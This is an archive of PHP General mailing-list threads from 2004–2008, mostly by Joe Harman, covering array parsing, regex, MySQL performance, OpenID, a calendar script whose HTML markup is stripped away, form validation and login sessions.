($userfile,$destination) ) die ("Impossible to copy $userfile_name from
$userfile to destination directory.");

return $destination; // return the full path of
the file on file system of the server 
}
else
{
echo $error;
return false;
}

}


// check to see what version (if any) of the gd libraries are
installed
function chkgd2()
{
$testGD = get_extension_funcs("gd"); // Grab function
list
if (!$testGD) 
{ 
echo "GD not even installed."; 
return false; 
}
else
{
return "gd2"; // if find the string return gd2

}
}   

// resize method

function resize_jpeg( $image_file_path, $new_image_file_path,
$max_width=480, $max_height=1600 )
{

$return_val = 1;

// create new image

if(eregi("\.png$",$image_file_path)) // if is a png
{
$return_val = 

[PHP] Making an array from delimited data

2008-04-28 Thread Joe Harman
I have some data that I pull from a database that is in the following format:

-
Gauge Style: Auto Meter Pro-Comp
Tachometer Usage: Standard
Gauge Series: Analog
Gauge Range: 0-11,000 rpm
Gauge Diameter (in): 5 in.
Gauge Diameter (mm): 127.00mm
Sweep: Full sweep
-

I want the array to end up like this
--
$data['Gauge Style'] = Auto Meter Pro-Comp
$data['Tachometer Usage'] = Standard
$data['Gauge Series'] = 0-11,000 rpm

I know I can use explode on on set of data... but up do you do it line by line?

Thanks for your help

-- 
Joe Harman

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Making an array from delimited data

2008-04-28 Thread Joe Harman
this is the complete data that was initially submitted through a textarea field.

On Mon, Apr 28, 2008 at 2:56 PM, Shawn McKenzie <[EMAIL PROTECTED]> wrote:
>
> Joe Harman wrote:
>
> > I have some data that I pull from a database that is in the following
> format:
> >
> > -
> > Gauge Style: Auto Meter Pro-Comp
> > Tachometer Usage: Standard
> > Gauge Series: Analog
> > Gauge Range: 0-11,000 rpm
> > Gauge Diameter (in): 5 in.
> > Gauge Diameter (mm): 127.00mm
> > Sweep: Full sweep
> > -
> >
> > I want the array to end up like this
> > --
> > $data['Gauge Style'] = Auto Meter Pro-Comp
> > $data['Tachometer Usage'] = Standard
> > $data['Gauge Series'] = 0-11,000 rpm
> >
> > I know I can use explode on on set of data... but up do you do it line by
> line?
> >
> > Thanks for your help
> >
> >
>
>  The following is one field from the db, or each line is a field or what?
>
>
>  Gauge Style: Auto Meter Pro-Comp
>  Tachometer Usage: Standard
>  Gauge Series: Analog
>  Gauge Range: 0-11,000 rpm
>  Gauge Diameter (in): 5 in.
>  Gauge Diameter (mm): 127.00mm
>  Sweep: Full sweep
>
>
>  -Shawn
>
>  --
>  PHP General Mailing List (http://www.php.net/)
>  To unsubscribe, visit: http://www.php.net/unsub.php
>
>



-- 
Joe Harman

SCP Performance Parts Warehouse
3475 High Ridge Blvd
High Ridge, MO 63049
Office : (636) 677-1320
Cell : (269) 277-0717

http://www.scpracingparts.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Making an array from delimited data

2008-04-28 Thread Joe Harman
Thanks guys... that help me out a lot... i was thinking too hard on ... LOL

have a great day!
Joe

On Mon, Apr 28, 2008 at 3:01 PM, Nathan Nobbe <[EMAIL PROTECTED]> wrote:
> On Mon, Apr 28, 2008 at 1:58 PM, Joe Harman <[EMAIL PROTECTED]> wrote:
>
> > this is the complete data that was initially submitted through a textarea
> field.
> >
>
> just to clarify my example assumes $dbData is a single string.  if the info
> you posted is getting stored in a single field it should work just fine.
>
> -nathan
>



-- 
Joe Harman

SCP Performance Parts Warehouse
3475 High Ridge Blvd
High Ridge, MO 63049
Office : (636) 677-1320
Cell : (269) 277-0717

http://www.scpracingparts.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Help with preg_match_all regex for alt tags

2008-04-29 Thread Joe Harman
Hey y'all ... i am having alittle trouble with this regex for finding
ALT tags for images...


Here is my statement

preg_match_all("'alt[^>]*?>.*?[^>]'si", $output, $alt_tags);

Evaluating

[other html code]...  ...[other html code]

I am currently getting

alt="Wheel & Tire Acc" /><

I want this result

alt="Shopping Cart" 


Thanks for your help
-- 
Joe Harman

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] mysql_connect slowness

2008-04-29 Thread Joe Harman
Hi Waynn!

have you ever tried using

1. sql_cache
SELECT SQL_CACHE * FROM table ..

I use this alot... although you have to have mysql cache enable in the
sql config file... your webhost can tell you if it is on or not

2. make indexes for your tables

here is a good article
http://www.databasejournal.com/features/mysql/article.php/1382791
a great admin program to use is Navicat... it's very easy to make your
indexes there...


Hopefully those 2 suggestions speed up things a little! :o) let us
know if it works

Joe

On Mon, Apr 28, 2008 at 12:14 AM, Waynn Lue <[EMAIL PROTECTED]> wrote:
> Our site has been slowing down dramatically in the last few days, so
>  I've been trying to figure out why.  I ran some profiling scripts on
>  our site and saw that we're spending between 3-9 seconds on
>  mysql_connect.  Then I connected to our db and saw that there were
>  over 100 connections at the time, most of them sleeping.  Is this
>  because we don't close mysql connections until the end of script
>  execution?
>
>  How do people generally structure their code to minimize the time they
>  keep mysql connections open?  Currently all db connections go through
>  one file, which gets included at the top of the file.  One other
>  question, is it better to open one connection, then re-use it later,
>  or just continually open and close per db call?
>
>  Thanks,
>  Waynn
>
>  --
>  PHP General Mailing List (http://www.php.net/)
>  To unsubscribe, visit: http://www.php.net/unsub.php
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP Web Apps & OpenID

2008-05-06 Thread Joe Harman
Hey Ya'll!

I am curious here if any of you are considering or already using
OpenID or Windows CardSpace? Does anyone see this being a big deal???
from a users stand point it seems like a big hassle to get started
with it and I'm not sure if it would scare people away or not? any
thoughts

I've been looking at some PHP scripts out there for OpenID... does
anyone have one to recommend???

-- 
Joe Harman

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: PHP Web Apps & OpenID

2008-05-07 Thread Joe Harman
Yeah, after reading some about it yesterday and using it on some
sites, I like that it sort of simplifies some things for the end
user... it really fits sites like social networking stuff well.. I am
considering using this for our ecommerce site, it only becomes useful
though for repeat visitors though... which is what I want to make it
easy& convienent for those repeat customers

thanks for your input guys
Joe

On Wed, May 7, 2008 at 4:04 AM, Colin Guthrie <[EMAIL PROTECTED]> wrote:
>
> Joe Harman wrote:
>
> > I am curious here if any of you are considering or already using
> > OpenID or Windows CardSpace? Does anyone see this being a big deal???
> > from a users stand point it seems like a big hassle to get started
> > with it and I'm not sure if it would scare people away or not? any
> > thoughts
> >
> > I've been looking at some PHP scripts out there for OpenID... does
> > anyone have one to recommend???
> >
>
>  With a bit of an upcoming rewrite of some of our user handling code, I
> fully intend to support OpenID. I really like the idea and want to promote
> it as much as possible.
>
>  Col
>
>
>  --
>  PHP General Mailing List (http://www.php.net/)
>  To unsubscribe, visit: http://www.php.net/unsub.php
>
>



-- 
Joe Harman

SCP Performance Parts Warehouse
3475 High Ridge Blvd
High Ridge, MO 63049
Office : (636) 677-1320
Cell : (269) 277-0717

http://www.scpracingparts.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Retrive a ID or Class value from a form input field

2008-06-09 Thread Joe Harman
Hello,

is there any way to get more field information other than just the
value of a field when a form is submitted???

ex:
 

type, size, class, etc.

Thanks
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Retrive a ID or Class value from a form input field

2008-06-09 Thread Joe Harman
I was just writing a form validation script... I know that there is
ton of them out there... and i know that there are some different
methods of doing it... but i want to assign class names to each field
like class="req:email"... not sure if that is the right way to do it,
but i thought it would make thing neat and tidy

Thanks for all your input
Joe

On Mon, Jun 9, 2008 at 3:09 PM, Jim Lucas <[EMAIL PROTECTED]> wrote:
> Jim Lucas wrote:
>>
>> Jim Lucas wrote:
>>>
>>> Joe Harman wrote:
>>>>
>>>> Hello,
>>>>
>>>> is there any way to get more field information other than just the
>>>> value of a field when a form is submitted???
>>>>
>>>> ex:
>>>>  >>> class="theClass" value="" />
>>>>
>>>> type, size, class, etc.
>>>>
>>>> Thanks
>>>> Joe
>>>>
>>>
>>> Yes, but that would be a Javascript question.
>>>
>>> Google for a javascript method called getAttribute()
>>>
>>
>> Man, what a day.
>>
>> I should have said it like this.
>>
>> No, but in javascript, before the form is submitted, you can.
>>
>> then
>>
>
> Let me ask this.  Why would you want to do this?
>
> --
> Jim Lucas
>
>   "Some men are born to greatness, some achieve greatness,
>   and some have greatness thrust upon them."
>
> Twelfth Night, Act II, Scene V
>by William Shakespeare
>
>



-- 
Joe Harman

SCP Performance Parts Warehouse
3475 High Ridge Blvd
High Ridge, MO 63049
Office : (636) 677-1320
Cell : (269) 277-0717

http://www.scpracingparts.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] RE:[PHP] Client Computer Registration

2006-10-03 Thread Joe Harman

Hey Rahul...

I have seen this also... It's sort of neat and annoying all at the
same time... I am just wondering if it's just a false sense of
security to get more people to use there online banking... although I
did read through their FAQs about this and they are saying they have
been required by the FFIEC (Federal Financial Institutions Examination
Council) to increase security... although computer registration
remains optional... i would guess this is probably just a cookie... i
am not sure about this, but will firefow run activex stuff??? if it
won't I think you could eliminate the activex possiblity i do know
that this site uses JSP as it's scripting language.

Have a great day, hope i was able to help in atleast a little way
Joe

On 10/3/06, Wesley Acheson <[EMAIL PROTECTED]> wrote:

They could also be doing something like giving the client an SSH key
to download, I've heard of this situation in a bank before.

Though it does seem more likely that their just using cookie based
authentication
-
From: "Rahul S. Johari" <[EMAIL PROTECTED]>
To: PHP 
Date: Mon, 02 Oct 2006 08:07:35 -0400
Subject: [PHP] Client Computer Registration
Ave,

I saw this at the Key.Com website for Keybank Customers. When you go to
their website to login to view your account, they ask you to register your
computer for the first time. Once your computer is registered, you can
access the account using that computer. You can choose to Not register that
computer and you won¹t be able to access the account using that computer in
future.

What exactly are they doing?
Can PHP record the MAC Address of the NIC in the computer? Or are they just
recording the IP and creating an IP based filteration?

I¹m looking to implement a similar security system for one of my
applications.

Any advice?

Rahul S. Johari
Supervisor, Internet & Administration
Informed Marketing Services Inc.
500 Federal Street, Suite 201
Troy NY 12180

Tel: (518) 687-6700 x154
Fax: (518) 687-6799
Email: [EMAIL PROTECTED]
http://www.informed-sources.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php





--
Joe Harman
-
Subscribe to my FRIENDS email list by sending an email to
[EMAIL PROTECTED] with subject line of "Subscribe"

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] IP Address Filtering

2006-03-29 Thread Joe Harman
if you really want to mess with them.. only show the user with the
NULL IP address all the spam posts.. .make them think that they've
been successful

On 3/29/06, Rahul S. Johari <[EMAIL PROTECTED]> wrote:
>
> Ave,
>
> I¹ve run into a slight problem. We maintain a Guestbook for our company¹s
> website. Lately we have been getting a lot of ³Spam² entries into the
> Guestbook.
>
> I added a snippet into the PHP Script & a field in the mySQL database to
> record the IP Address of posters. However, for the SPAM posts, it records
> ³Null² instead of an IP Address. I¹m using $REMOTE_ADDR to records the IP.
> It records IP Addresses of any genuine poster... But NULL for the spam
> poster.
>
> What else can I do to block the SPAM entry? Is there some other Unique
> Identifier that I can record of the Spam poster and then block him?
>
> Thanks,
>
> Rahul S. Johari
> Coordinator, Internet & Administration
> Informed Marketing Services Inc.
> 500 Federal Street, Suite 201
> Troy NY 12180
>
> Tel: (518) 687-6700 x154
> Fax: (518) 687-6799
> Email: [EMAIL PROTECTED]
> http://www.informed-sources.com
>
>
>


--
Joe Harman
-
* My programs never have bugs, they just develop random features.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] IP Address Filtering

2006-03-29 Thread Joe Harman
Good thing I don't have kids!

On 3/29/06, Kevin Kinsey <[EMAIL PROTECTED]> wrote:
> Joe Harman wrote:
>
> >if you really want to mess with them.. only show the user with the
> >NULL IP address all the spam posts.. .make them think that they've
> >been successful
> >
> >
> Freaking hilarious idea!!
>
> Remind me not to let my kids play with yours.  :-D
>
>
> Of course, there's probably not any Real People(tm)
> behind these addys.
>
> Kevin Kinsey
>
> --
> Sentient plasmoids are a gas.
>
>
>


--
Joe Harman
-
* My programs never have bugs, they just develop random features.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Action on 'Require' Fatal Error

2008-07-09 Thread Joe Harman
Hello,
is there a way to call a function or do a header("Location: page.php") when
a fatal error is detected from using a the require statement

Thanks
Joe Harman


[PHP] Calendar Script

2004-12-29 Thread Joe Harman



Hello,
 
I just finished 
writing a basic calendar script... I wanted to pass it out to everyone here... 
maybe someone could use it... or, even better optimize it.. .and maybe share 
that with me.
 

 
function 
Cal_Month() {  // Get Today's 
Date   $todays_date = 
getdate();// Determine what month to 
display   if(isset($_GET['month'])){ $resolve_time 
= "1 ".$_GET['month']." 
".$_GET['year']; $resolve_first_day_of_month = 
strtotime($resolve_time); $resolved_date = 
getdate($resolve_first_day_of_month);}else{ $resolved_date 
= $todays_date; }// if this is the current 
month - say it's okay to mark today on the 
calendar   if($todays_date['year'] == $resolved_date['year'] 
&& $todays_date['month'] == 
$resolved_date['month']){ 
 $mark_today_on_calendar = TRUE; }
 
  // HOW 
MANY DAYS ARE IN THIS MONTH   $days_in_current_month = 
cal_days_in_month(CAL_GREGORIAN, $resolved_date['mon'], 
$resolved_date['year']);// STRING TO START THE 
CALENDAR ON THE FIRST DAY OF THE MONTH   $show_month = 
$resolved_date['month'];   $show_year = 
$resolved_date['year'];// Get Info for Current 
Displayed Month$string_time = "1 ".$show_month." 
".$show_year;   $first_day_of_month = 
strtotime($string_time);   $first_day = 
getdate($first_day_of_month); 
//**   $the_first_day_of_the_month = 
getdate($first_day_of_month); // Starts from the 
1st  $num_days_week = 
7;   $num_days_in_month = cal_days_in_month(CAL_GREGORIAN, 
$resolved_date['mon'], 
$resolved_date['year']);// Get info for NEXT 
month$show_next = strtotime("+1 Month", 
$first_day_of_month);    $show_next_month_first_day = 
getdate($show_next); // Get info for PREV 
month$show_prev = strtotime("-1 Month", 
$first_day_of_month);    $show_prev_month_first_day = 
getdate($show_prev);  $next_month = 
$show_next_month_first_day['month'];   $next_year = 
$show_next_month_first_day['year'];   $prev_month = 
$show_prev_month_first_day['month'];   $prev_year = 
$show_prev_month_first_day['year'];   $link_next_month 
= "";   $link_prev_month = "";// Table Size Variables... will be 
moved to CSS eventually   $table_align = 
"center";   $table_width = 
500;   $table_height = 50;   $cell_width = 
$table_width/7; // Start HTML for Building 
Calendar  $cal_generated .= 
"".$link_prev_month." 
".$link_next_month."";$cal_generated 
.= "";$cal_generated 
.=  "".$the_first_day_of_the_month['month']." 
".$the_first_day_of_the_month['year']."";$cal_generated 
.= "SunMon";$cal_generated 
.= "TueWedThu";$cal_generated 
.= "FriSat";  // 
Initial Calendar Buildin Variables$first_week_marked 
= FALSE;$month_day_count = 
1;$week_day_count = 0;
 
  // Start 
The Calendar Loopdo 
{  if($mark_today_on_calendar == TRUE 
&& $todays_date['mday'] == 
$month_day_count)   { $highlight_today_open 
= ""; 
$highlight_today_close = 
"";   }  else   { $highlight_today_open 
= ""; 
$highlight_today_close = 
"";   } // 
If it is the first day of the week open a 
ROW  if($week_day_count == 
0){  $cal_generated 
.= 
""; } if 
($first_week_marked == 
FALSE){ $blank_cell 
= 0;  do 
{   if($the_first_day_of_the_month['wday'] 
<> 
$blank_cell){ $cal_generated 
.= ""; $blank_cell++;}   else{$cal_generated 
.= "".$highlight_today_open 
."".$month_day_count."".$highlight_today_close.""; $first_week_marked 
= 
TRUE;}  $week_day_count 
= 
$the_first_day_of_the_month['wday'];} 
while ($first_week_marked == 
FALSE);  }   else{ $cal_generated 
.= "".$highlight_today_open 
."".$month_day_count."".$highlight_today_close."";}$month_day_count++;// 
If it is the last day of the week close 
ROW   if($week_day_count == 
6){  $cal_generated 
.= 
""; }  $week_day_count++;   // 
Countingsif($week_day_count 
== 
7){$week_day_count=0;}} 
while ($month_day_count <= $num_days_in_month); // End Calendar 
Loop $cal_generated .= 
"";return 
$cal_generated;}
 
echo 
Cal_Month();
?>
 
Joe Harman
 
-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Calendar Script

2004-12-29 Thread Joe Harman




Hello,
 
I just finished 
writing a basic calendar script... I wanted to pass it out to everyone here... 
maybe someone could use it... or, even better optimize it.. .and maybe share 
that with me.
 

 
function 
Cal_Month() {  // Get Today's 
Date   $todays_date = 
getdate();// Determine what month to 
display   if(isset($_GET['month'])){ $resolve_time 
= "1 ".$_GET['month']." 
".$_GET['year']; $resolve_first_day_of_month = 
strtotime($resolve_time); $resolved_date = 
getdate($resolve_first_day_of_month);}else{ $resolved_date 
= $todays_date; }// if this is the current 
month - say it's okay to mark today on the 
calendar   if($todays_date['year'] == $resolved_date['year'] 
&& $todays_date['month'] == 
$resolved_date['month']){ 
 $mark_today_on_calendar = TRUE; }
 
  // HOW 
MANY DAYS ARE IN THIS MONTH   $days_in_current_month = 
cal_days_in_month(CAL_GREGORIAN, $resolved_date['mon'], 
$resolved_date['year']);// STRING TO START THE 
CALENDAR ON THE FIRST DAY OF THE MONTH   $show_month = 
$resolved_date['month'];   $show_year = 
$resolved_date['year'];// Get Info for Current 
Displayed Month$string_time = "1 ".$show_month." 
".$show_year;   $first_day_of_month = 
strtotime($string_time);   $first_day = 
getdate($first_day_of_month); 
//**   $the_first_day_of_the_month = 
getdate($first_day_of_month); // Starts from the 
1st  $num_days_week = 
7;   $num_days_in_month = cal_days_in_month(CAL_GREGORIAN, 
$resolved_date['mon'], 
$resolved_date['year']);// Get info for NEXT 
month$show_next = strtotime("+1 Month", 
$first_day_of_month);    $show_next_month_first_day = 
getdate($show_next); // Get info for PREV 
month$show_prev = strtotime("-1 Month", 
$first_day_of_month);    $show_prev_month_first_day = 
getdate($show_prev);  $next_month = 
$show_next_month_first_day['month'];   $next_year = 
$show_next_month_first_day['year'];   $prev_month = 
$show_prev_month_first_day['month'];   $prev_year = 
$show_prev_month_first_day['year'];   $link_next_month 
= "";   $link_prev_month = "";// Table Size Variables... will be 
moved to CSS eventually   $table_align = 
"center";   $table_width = 
500;   $table_height = 50;   $cell_width = 
$table_width/7; // Start HTML for Building 
Calendar  $cal_generated .= 
"".$link_prev_month." 
".$link_next_month."";$cal_generated 
.= "";$cal_generated 
.=  "".$the_first_day_of_the_month['month']." 
".$the_first_day_of_the_month['year']."";$cal_generated 
.= "SunMon";$cal_generated 
.= "TueWedThu";$cal_generated 
.= "FriSat";  // 
Initial Calendar Buildin Variables$first_week_marked 
= FALSE;$month_day_count = 
1;$week_day_count = 0;
 
  // Start 
The Calendar Loopdo 
{  if($mark_today_on_calendar == TRUE 
&& $todays_date['mday'] == 
$month_day_count)   { $highlight_today_open 
= ""; 
$highlight_today_close = 
"";   }  else   { $highlight_today_open 
= ""; 
$highlight_today_close = 
"";   } // 
If it is the first day of the week open a 
ROW  if($week_day_count == 
0){  $cal_generated 
.= 
""; } if 
($first_week_marked == 
FALSE){ $blank_cell 
= 0;  do 
{   if($the_first_day_of_the_month['wday'] 
<> 
$blank_cell){ $cal_generated 
.= ""; $blank_cell++;}   else{$cal_generated 
.= "".$highlight_today_open 
."".$month_day_count."".$highlight_today_close.""; $first_week_marked 
= 
TRUE;}  $week_day_count 
= 
$the_first_day_of_the_month['wday'];} 
while ($first_week_marked == 
FALSE);  }   else{ $cal_generated 
.= "".$highlight_today_open 
."".$month_day_count."".$highlight_today_close."";}$month_day_count++;// 
If it is the last day of the week close 
ROW   if($week_day_count == 
6){  $cal_generated 
.= 
""; }  $week_day_count++;   // 
Countingsif($week_day_count 
== 
7){$week_day_count=0;}} 
while ($month_day_count <= $num_days_in_month); // End Calendar 
Loop $cal_generated .= 
"";return 
$cal_generated;}
 
echo 
Cal_Month();
?>
 
Joe Harman
 
 
Joe Harman

eInternet Design
Biz Ph: 269.983.7627

 
-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Updated: Calendar Script

2005-01-04 Thread Joe Harman
   
$link_year = $show_year;

$link_day = $month_day_count;

$Day_Link =
"onclick=\"window.location.href='?month=".$link_month."&year=".$link_year."&
day=".$month_day_count."'\"";


$temp_filler = " ";

$count_hours = 0;
$add_time =
$show_current;

$epoc_time_prev =
$show_prev; 
$epoc_time_current =
$show_current;
$epoc_time_next =
$show_next;

do {


$cal_generated .= "";



$military_column = date("H:i", $add_time);

$add_time = $add_time + 3600;



//
Time Coloumn

$cal_generated .= "".$military_column." ";


//$show_prev

$prev_hour_Link =
"onclick=\"window.location.href='?epoc=".$epoc_time_prev."'\"";
//
Previous Day

$cal_generated .= "".$temp_filler."";


//$show_current_day

$current_hour_Link =
"onclick=\"window.location.href='?epoc=".$epoc_time_current."'\"";
        //
Current Day

$cal_generated .= "".$temp_filler ."";


//$show_next

$next_hour_Link =
"onclick=\"window.location.href='?epoc=".$epoc_time_next."'\"";

//Next Day

$cal_generated .= "".$temp_filler ."";


$cal_generated .= "";


$epoc_time_prev = $epoc_time_prev + 3600; 

$epoc_time_current = $epoc_time_current + 3600;

$epoc_time_next = $epoc_time_next + 3600;

$count_hours++;

} while
($count_hours <= 23);


$week_day_count++;

// Countings
if($week_day_count
== 7)

{$week_day_count=0;}


$cal_generated .= "";   
return $cal_generated;
}

if(isset($_GET['day']))
{
echo Cal_Day();
}
else
{
echo Cal_Month();
}
?>





---






-Original Message-
From: HarryG [mailto:[EMAIL PROTECTED] 
Sent: Monday, January 03, 2005 7:37 AM
To: php-general@lists.php.net
Subject: [PHP] Re: Calendar Script

Cool.. just tried your script. I might try to convert it to Smarty template
compatible code, in my spare time. Have you used Smarty Templates??
  "Joe Harman" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
  Hello,

  I just finished writing a basic calendar script... I wanted to pass it out
to everyone here... maybe someone could use it... or, even better optimize
it.. .and maybe share that with me.

  Next Month ";
 $link_prev_month = "Prev Month ";

// Table Size Variables... will be moved

[PHP] On large application organization [long and possibly boring]

2005-01-07 Thread Joe Harman
This is Definatley a good conversation... I've realy thought of doing
it this way... but i do agree with the person who said that 'having to
keep track of a ton of different files could get complicated" ... i
can't imagine the performance difference would be that big... but then
again, i suppose it is relative to how big your applicatin is going to
be

Cheers!
Joe


-- Forwarded message --
From: Jay Blanchard <[EMAIL PROTECTED]>
Date: Thu, 6 Jan 2005 14:30:23 -0600
Subject: [PHP] On large application organization [long and possibly boring]
To: PHP Mailing Lists 


Good afternoon gurus and gurettes,

If I have a large app what is the difference, other than having a very
large file, of doing this

switch($action){
   /* several dozen cases to follow */
   case "foo":
   writing out all of the code
   break;
}

and this

switch($action){
   /* several dozen cases to follow */
   case "foo":
   include that will handle processing this case
   break;
}

Correct me if I am wrong, but includes (and/or requires) will get all of
the code in all of the cases regardless if the case is being processed.
That being the case the code would essentially be the same length. Given
that, would there be an efficieny issue?

This would (the second way) also make the project easier to work on by
multiple programmers at the same time, similar to modular work being
done by programmers on C++ projects.

One of the reasons for doing this is so that global includes and certain
class definitions, such as an error checking function relavent to most
cases, can be included once.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: [PHP-DB] checkboxes

2005-01-21 Thread Joe Harman
Well.. i just got done doing something like what you are trying to
accomplish... you will need to name your check boxes like so :
name="completed[]"

when the form is submitted, I use something like this and shove it
into a field in the database:

if($_POST['completed'] <> NULL)
{
// This makes one string of all the check boxes
$completed_separated = implode(":", $_POST['completed']);
}
else
{
$comma_separated = NULL;
}

anyhow... use explode to get thte values out... not sure how you are
using this... but i made each check box equal to a value when checked
i.e. 23, 34

so, not sure if this is the right way to do it, but i find it to be a
pretty simple solution for my uses.

cheers




On Fri, 21 Jan 2005 16:47:11 -0500, Hutchins, Richard
<[EMAIL PROTECTED]> wrote:
> You can't just echo out an array. You have to either use print_r() or
> iterate over it with a while or for...next loop. But if you just want to see
> what's in the array, print_r() it.
> 
> As to why it doesn't bring over the other checkboxes...
> 
> If you have (pseudocode)
> 
> 
>  Checkbox 1
>  Checkbox 2
>  Checkbox 3
> 
> 
> 
> And you check the first two checkboxes, then the resulting array will be
> (pseudocode again):
> completed(value1,value2)
> 
> And from there, you just access the array contents as you would with any
> other multidimensional array.
> 
> If you don't check anything on the page, then the array will be empty and, I
> think, won't even be sent in the $_POST array. I'm sure somebody will
> correct me there if my memory has failed me.
> 
> -Original Message-
> From: Craig Hoffman [mailto:[EMAIL PROTECTED]
> Sent: Friday, January 21, 2005 4:32 PM
> To: php-db@lists.php.net
> Cc: Richard Hutchins
> Subject: Re: [PHP-DB] checkboxes
> 
> I've tried that and it still doesn't bring over the other checkboxes
> that have been checked.  Plus when I echo it out I get
> Array  instead of the variable name.
> 
> On Jan 21, 2005, at 3:14 PM, Hutchins, Richard wrote:
> 
> > Probably all you need to do is name your checkboxes as an array thusly:
> >
> > name="completed[]"
> >
> > Then you can access the array on your update page and do whatever you
> > wish
> > with it.
> >
> > Hope this helps.
> >
> > Rich
> >
> > -Original Message-
> > From: Craig Hoffman [mailto:[EMAIL PROTECTED]
> > Sent: Friday, January 21, 2005 4:03 PM
> > To: php-db@lists.php.net
> > Subject: [PHP-DB] checkboxes
> >
> >
> > I have a form that display's a checkbox if the value is NULL. The form
> > is in a do... while loop, so the user may check multiple checkboxes.
> > I am trying to pass the variable of each checkboxes to an update
> > statement in MySQL.  THe problem is I am only getting one of the
> > checkboxes, even if all of them are checked.  Here is my code block,
> > any help would be great.  - Craig
> >
> > //From form page
> > 
> >   
> > 
> >
> > //MySQL Update Page
> > $email = $_POST['email'] == $route;
> >   $completed = $_POST["completed"] == $route;
> >$route_name = trim($_POST["route_name"]) == $route;
> >   $user_id = $_POST['user_id'] == $route;
> >   $id = $_POST['id'] == $route;
> >
> > $route = array(id => "$_POST[id]", completed => "$_POST[completed]",
> > route_name => "$_POST[route_name]", user_id => "$_POST[user_id]");
> >
> >  foreach ($route as $key => $values) {
> > echo("");
> > echo $values;
> >//MySQL Update statement will go here.
> >   }
> >
> > --
> > PHP Database Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> > --
> > PHP Database Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> 
> --
> PHP Database Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: [NEWBIE GUIDE] For the benefit of new members

2005-01-25 Thread Joe Harman
Great List...

although.. .just having a sense humor here... i think every topic has
been covered a number of times... which means no one should be posting
questions at the php list... cause they are all in the archive :0)

cheers!
Joe


On Tue, 25 Jan 2005 09:48:53 -0500, Jason Barnett
<[EMAIL PROTECTED]> wrote:
> Jay Blanchard wrote:
> > [snip]
> > JB> It used to be, but it seems that it hasn't been posted in a while.
> > So I
> > JB> retrieved it and posted it. I was thinking about setting up a cron
> > to
> > JB> post it every other day or so.
> >
> > I think once a week would be more than enough. You have to actually
> > hope the newbies even read it, most of them don't even think they are
> > "newbies" :)
> > [/snip]
> >
> > Then we should chnage the header
> > [NEWBIE GUIDE] - READ THIS OR YOU'LL NEVER GET ON THE ISLAND
> 
> Hope there are some hot chicks on this island.  Heck I'm a newbie, if
> all the newbies get lei'd once they're accepted on the island ;)
> 
> Definitely seems worthy of cron to me.
> 
> --
> Teach a man to fish...
> 
> NEW? | http://www.catb.org/~esr/faqs/smart-questions.html
> STFA | http://marc.theaimsgroup.com/?l=php-general&w=2
> STFM | http://www.php.net/manual/en/index.php
> STFW | http://www.google.com/search?q=php
> LAZY |
> http://mycroft.mozdev.org/download.html?name=PHP&submitform=Find+search+plugins
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Replace credit card numbers with X ???

2005-01-25 Thread Joe Harman
Hello,

I need to replace all the numbers of a credit card except for the last
4 with an 'X' ... can't seem to locate the string function for this...
can someone point me in the right direction here to what php item i
should be using.

Thanks!
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Log-in script help

2005-01-25 Thread Joe Harman
Hey Andrew... 

IN MY OPINION... forget the cookies... only use php sessions... but
like I said IMO you can never rely on the end user having them
cookies enabled... same with things like javascript...

let me outline some steps for you... everyone else... feel free to
state pros and cons to theses.. cause i always make mistakes, or
forget things :o)

1. get the user's access info... ie username & password

2. look for the user in the database that stores the access infro

3. if access is granted, I usually set 2 session variables
  a. $_SESSION['auth'] = TRUE  // They are authorized
  b. $_SESSION['user_id'] = {who}  // Who is it
  a. $_SESSION['user_level'] = {level} // What level access do
they have (optional)

4. at the beginning of each restricted access page, verify that they
are authorized to access that page... if they are not redirect them to
a access denied page.


that should get you started... maybe the second step would be to make
this stuff into functions... ... also, IMO.. it's a good idea to make
a logout script that will distroy that user's active session... not
sure what your PHP experience is... but hopefully the above steps will
help you out some..

Cheers!
Joe





On 25 Jan 2005 17:35:08 -0600, Bret Hughes <[EMAIL PROTECTED]> wrote:
> On Tue, 2005-01-25 at 16:45, [EMAIL PROTECTED] wrote:
